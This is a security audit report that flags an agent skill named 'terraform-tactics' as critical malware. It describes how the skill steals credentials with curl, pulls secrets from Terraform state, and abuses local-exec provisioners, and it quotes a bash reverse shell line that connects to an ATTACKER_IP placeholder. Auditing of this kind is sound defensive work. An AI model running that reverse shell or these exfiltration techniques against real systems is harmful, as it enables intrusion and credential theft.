terraform-tactics
Fail
Audited by Gen Agent Trust Hub on Aug 12, 2026
Risk Level: CRITICALCREDENTIALS_UNSAFEDATA_EXFILTRATIONCOMMAND_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
- [DATA_EXFILTRATION]: The skill provides explicit command sequences to read sensitive credential files (e.g.,
~/.aws/credentials,~/.terraform.d/credentials.tfrc.json) and environment variables, piping them directly to an external attacker-controlled URL viacurlfor collection purposes. - [COMMAND_EXECUTION]: The skill contains functional reverse shell payloads intended to establish remote access to the system running Terraform, specifically providing the command
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &'. - [REMOTE_CODE_EXECUTION]: The instructions describe how to use Terraform's
local-execprovisioners andexternaldata sources to execute arbitrary shell scripts during infrastructure management operations. This includes techniques for triggering execution during theplanphase, which often runs automatically in CI/CD environments. - [CREDENTIALS_UNSAFE]: The skill documents detailed patterns for extracting plaintext secrets (passwords, private keys, API tokens) from Terraform state files for numerous cloud providers including AWS, Azure, GCP, Alibaba Cloud, and Tencent Cloud.
Recommendations
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
Audit Metadata